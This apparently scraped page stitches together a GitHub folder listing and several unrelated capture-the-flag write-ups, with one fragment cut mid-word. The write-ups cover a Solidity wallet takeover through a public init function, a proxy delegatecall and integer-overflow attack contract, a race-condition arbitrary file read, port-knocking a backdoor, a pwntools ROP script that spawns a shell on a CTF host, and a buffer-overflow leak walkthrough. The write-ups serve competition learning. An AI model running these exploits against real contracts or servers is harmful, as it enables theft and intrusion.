<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/ChallengeHackDay/2022-finale/refs" cache-key="v0:1653497042.4806862" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="Q2hhbGxlbmdlSGFja0RheS8yMDIyLWZpbmFsZQ==" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/ChallengeHackDay/2022-finale/refs" cache-key="v0:1653497042.4806862" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="Q2hhbGxlbmdlSGFja0RheS8yMDIyLWZpbmFsZQ==" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>2022-finale</span></span></span><span>/</span><span><span>STEGANOGRAPHY</span></span><span>/</span><span><span>Electro Music Dance</span></span><span>/</span>wu<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>2022-finale</span></span></span><span>/</span><span><span>STEGANOGRAPHY</span></span><span>/</span><span><span>Electro Music Dance</span></span><span>/</span>wu<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/ChallengeHackDay/2022-finale/tree-commit/e499422ced4c2b1e6dc5f73462a339b25bbd23ad/STEGANOGRAPHY/Electro%20Music%20Dance/wu" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/ChallengeHackDay/2022-finale/file-list/main/STEGANOGRAPHY/Electro%20Music%20Dance/wu"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Write up EMD .pdf</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
# Owner Pwned
## Challenge
You get a deployed contract that you want to drain.```// SPDX-License-Identifier: MITpragma solidity ^0.7.6;
contract Challenge1 {
address public me; mapping(address => uint256) balances;
//constructor function initWallet() public { me = msg.sender; }
function deposit() external payable { balances[msg.sender] += msg.value; } function withdraw(uint256 amount) public { require(amount <= balances[msg.sender]); payable(msg.sender).transfer(amount); balances[msg.sender] -= amount; }//If there is an emergency, i'm protected \o/ function migrateTo(address to) public { require(msg.sender == me, "Only me can withdraw all the funds"); payable(to).transfer(address(this).balance); }//getBalance returns the balance of the contract, it is always nice to check my fortune function getBalance() public view returns (uint) { return (address(this).balance / 1 ether); }}
```## Solution
The solution is super easy. They used the public function initWallet() instead of a constructor. We can use this function to overwrite the variable me. Now we can just call migrate with our own address as the "to" parameter and receive all the money.
--> Flag |
tl;dr
There is a race condition in `context->FileName` var, this buf is used as the path after normalization, but it is the same buf where the username is written in the login. When sending a read request for "hello.txt", a new thread is created to do this, sending another request "USER /etc/passwd", the `context->FileName` buffer is changed and allows the reading of arbitrary files. |
# Upgreadable Casino - Blockchain
## Challenge
We get 2 contracts. A casino contract that can be used to gamble using tokens.
```// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
contract Casino { uint256 maxFreeTokens = 10;
// Keep track of the tokens spent at each game uint64 roulette = 0; uint64 slotMachine = 0; uint64 blackjack = 0; uint64 poker = 0;
address admin = 0x5aB8C62A01b00f57f6C35c58fFe7B64777749159; mapping(address => uint256) balances; mapping(address => uint256) lastFreeTokenRequest;
function changeMaxFreeTokens(uint256 newValue) external { require(msg.sender == admin, "Only admin can change the number of free tokens you can get"); maxFreeTokens = newValue; }
function requestFreeTokens(uint256 numberOfTokensRequested) external { require(numberOfTokensRequested <= maxFreeTokens, "You can't request that much free tokens");
require(block.number > lastFreeTokenRequest[msg.sender] + 2, "Wait a few more blocks before collecting free tokens");
lastFreeTokenRequest[msg.sender] = block.number;
balances[msg.sender] += numberOfTokensRequested; }
function playTokens(uint64 tokensForRoulette, uint64 tokensForSlotMachine, uint64 tokensForBlackjack, uint64 tokensForPoker) external { require(tokensForRoulette + tokensForSlotMachine + tokensForBlackjack + tokensForPoker <= balances[msg.sender], "You don't have enough tokens to play");
// Increase the analytics variables roulette += tokensForRoulette; slotMachine += tokensForSlotMachine; blackjack += tokensForBlackjack; poker += tokensForPoker;
balances[msg.sender] -= tokensForRoulette + tokensForSlotMachine + tokensForBlackjack + tokensForPoker;
uint256 earnedTokens = 0;
// Play the tokens at the chosen games
// Roulette earnedTokens += tokensForRoulette*2*(randMod(3) == 0 ? 1 : 0); // Slot earnedTokens += tokensForSlotMachine * 500 * (randMod(1000) == 0 ? 1 : 0);
// Blackjack earnedTokens += tokensForBlackjack * 15 * (randMod(21) == 0 ? 1 : 0);
// Poker earnedTokens += tokensForPoker * 10000 * (randMod(15000) == 0 ? 1 : 0);
balances[msg.sender] += earnedTokens; }
// Initializing the state variable uint randNonce = 0; // Defining a function to generate // a random number function randMod(uint _modulus) internal returns(uint) { // increase nonce randNonce++; return uint(keccak256(abi.encodePacked(block.timestamp,msg.sender,randNonce))) % _modulus; }
function getBalance(address user) external view returns(uint256){ return balances[user]; }
function buyTokens() payable external { // deposit sizes are restricted to 1 ether require(msg.value == 1 ether);
balances[msg.sender] += 10000 ; }}```
In addition we also get a proxy contract that is used for forwarding our calls to the casino.
```// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
contract Proxy { address _implementation; address _owner = 0x5aB8C62A01b00f57f6C35c58fFe7B64777749159; //0x0000000000000000000000000000000000000000;
/** * @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`. * * If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded * function call, and allows initializing the storage of the proxy like a Solidity constructor. */ constructor(address _logic) payable { _implementation = _logic; }
function getOwner() external view returns (address) { return _owner; }
/** * @dev Delegates the current call to `implementation`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize())
// Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data. returndatacopy(0, 0, returndatasize())
switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } }
/** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _fallback() internal virtual { _delegate(_implementation); }
/** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); }
/** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); }
/** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { _implementation = newImplementation; }
/** * @dev Perform implementation upgrade * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); }
/** * @dev Upgrade the implementation of the proxy to `newImplementation`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */ function upgradeTo(address newImplementation) external { require(_owner == msg.sender, "Ownable: caller is not the owner"); _implementation = newImplementation; }}
```
Our goal is to set the address of the implementation to an address provided by the organizers.
## Solution
Proxies in CTFs, especially in combination with delegatecall, are usually a problem. In this case we have the same problems as always, the variables have a different layout in the proxy, as in the Casino. There are 2 seperate vulnerabilities we need to exploit to be able to win this chall.- DelegateCall- Integer Overflow
### 1. Delegatecall
The layout of the variable overlaps. So if we call the casino through the proxy, we overwrite proxy variables if we try changing casino variables. In our case the interesting variable is the implementation variable. This variable overlaps with 3 of the variables in Casino. The ones for Blackjack, Slot & Roulette. As those are only 8 byte big and the addres is 20 byte big only half of the blackjack variable overlaps. In my case the old implementation address was 0x5aB8C62A01b00f57f6C35c58fFe7B64777749159. I tried to show the overlap a bit below.
```0x 5aB8C62A 01b00f57f6C35c58 fFe7B64777749159 I Black I Slot Machine I Roulette```
### 2. Integer overflow
In the playTokens() function all token ammounts we want to add together are added together and then checked if the total is smaller than our balance. But there is no check for integer Overflows. So if we would for example aDD 0xFFFFFFFFFFFFFFFF and 0x0000000000000001 it would result in 0x0000000000000000
## 3. Exploit
We can use both of these to exploit. We can use the 4th variable (poker) together with the overflow to be able to overwrite arbitrary parts of the address without needing to own any tokens at all. Below you can see my attack contract:
```// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "./Casino.sol";
contract Attack{ Casino target;
constructor(address _target) { target = Casino(_target); }
function missionOverWrite() public { target.playTokens(0xfd48b1cf88b15bdd, 0, 0, 0x2b74e30774ea423); target.playTokens(0, 0x5f54b6656fc56e05, 0, 0xa0ab499a903a91fb); target.playTokens(0, 0, 0x7746d726, 0xffffffff88b928da); }}```Now you just need to deploy this contract and call missionOverWrite()
--> Flag |
Il s'agit de la suite du backdoor partie 1Lors du premier chall, on avait une backdoor active, c'est a dire en ecoute sur un portici, le port est ferméIl faut alors étudier le fichier pcap et reproduire la séquence 22,80 avec ds paquets SYN TCP 4 fois, afin que la backdoor s'ouvre.Il s'agit de la m |
See writeup video for details:https://www.youtube.com/watch?v=cCCo8gYbXyo
```import pwnimport timeimport warnings
warnings.filterwarnings(action='ignore', category=BytesWarning)
hello_elf = pwn.ELF("./hello")libc_elf = pwn.ELF("./libc-2.31.so")# p = pwn.process(["./loader", "hello"])p = pwn.remote("puffer.utctf.live", "7132")
pwn.context.binary = hello_elfpwn.context.log_level = "DEBUG"pwn.context(terminal=['tmux', 'split-window', '-h'])
offset = pwn.cyclic_find("qaac")print(f"{offset=}")
# Stage 1: Info Leak via read syscallHELLO_DATA = 0x4004000SYSCALL_GADGET = 0x00000000040024AB
rop = pwn.ROP(hello_elf)rop(rax=0, rdi=0, rsi=HELLO_DATA, rdx=0x600)rop.raw(SYSCALL_GADGET)
# Print out some addresses via write syscallfor i in range(97, 98): rop(rax=1, rdi=1, rsi=HELLO_DATA + i * 8, rdx=8) rop.raw(SYSCALL_GADGET)
rop.main()
# Send Stage 1 and parse libcp.sendline(b'A' * (offset) + rop.chain())p.recvuntil("hello,")p.sendline("") # fill read syscallp.recvuntil("buf='")libc_leak = pwn.u64(p.recv(6).ljust(8, b'\x00'))libc_base = libc_leak - (0x7FC13B5E9154 - 0x7FC13B54F000)libc_elf.addr = libc_baseprint(f"{hex(libc_base)=}")
# Step 2: Increment syscall_cnt to 59rop = pwn.ROP(hello_elf)rop(rax=0x400, rdi=7820912)for i in range(48): rop.raw(SYSCALL_GADGET)rop.main()p.sendline(b'A' * (offset) + rop.chain())
# Step 3: Call shellrop = pwn.ROP(hello_elf)binsh_addr = libc_elf.addr + next(libc_elf.search(b"/bin/sh\x00"))rop(rax=59, rdi=binsh_addr, rdx=0, rsi=0)rop.raw(SYSCALL_GADGET)p.sendline(b'A' * (offset) + rop.chain())
# Shellp.interactive()
``` |
**To read this with images, and for other writeups, go to [https://ctf.krloer.com/writeups/wolvctf/echo2/](https://ctf.krloer.com/writeups/wolvctf/echo2/).**
### Advanced buffer overflow to leak and ret2libc#### WolvCTF pwn Echo2
Leaking main's address, while ropping, then leaking libc and eventually popping a shell on the server.
This was a very fun challenge with not very many solves during the CTF. It contains an easy overflow, with no stack canary, but every other common protection is activated.We get the challenge executable, a libc and the Dockerfile.
Running the executable, I didnt quite understand what was happening so I decided to analyse it in ghidra right away. There is a main function that only calls echo(). The challenge is all about creating a new echo function, and the disassembly of that function looks like this:
```cvoid echo(void){ undefined buffer [264]; int size; undefined4 local_c; puts("Welcome to Echo2"); local_c = __isoc99_scanf(&DAT_00102015,&size); fread(buffer,1,(long)size,stdin); printf("Echo2: %s\n",buffer); return;}```
We see that it first uses scanf to take input and place it in the size variable. It doesn't say anything to let us know it is waiting for a number, which is why it wasnt obvious without disassembling it. Double clicking DAT_00102015 in ghidra shows us it takes a decimal integer ("%d"). It then reads 1 byte at a time into the buffer for the length that we just specified. This means that we can write as much as we want, so we have a buffer overflow vulnerability. At the end it prints from the buffer until it reaches a null byte (which will come in handy soon).
Running checksec on the file reveals it has PIE (ASLR), NX and Full RELRO enabled, but no stack canary. This is consistent with what we have already found, so lets run it in gdb and see what we can overwrite. Before starting i recommend running pwninit now instead of later (to link the elf with the provided libc), to ensure that any offsets found wont have to be changed after linking.
To inspect the initial stack, we can run it in GDB specifying 5 as size, sending 4 As (plus a newline character) and inspecting the stack after breaking at the end of the echo function (I chose to break at echo+124).

When I ran it I could find my As at **0x7fffffffdc01**, and using the `info frame` command we can see that the instruction pointer back to main is located at **0x7fffffffdd18**. Calculating the offset between these addresses tells us that we need to write 279 As before touching the instruction pointer.
Now it starts getting interesting, because with ASLR enabled we don't know what we want to overwrite rip with. I first tested what would happen when specifying a 280 character input and sending 279 As (plus a newline). The output of that looks weird as there are some seemingly random bytes at the end.

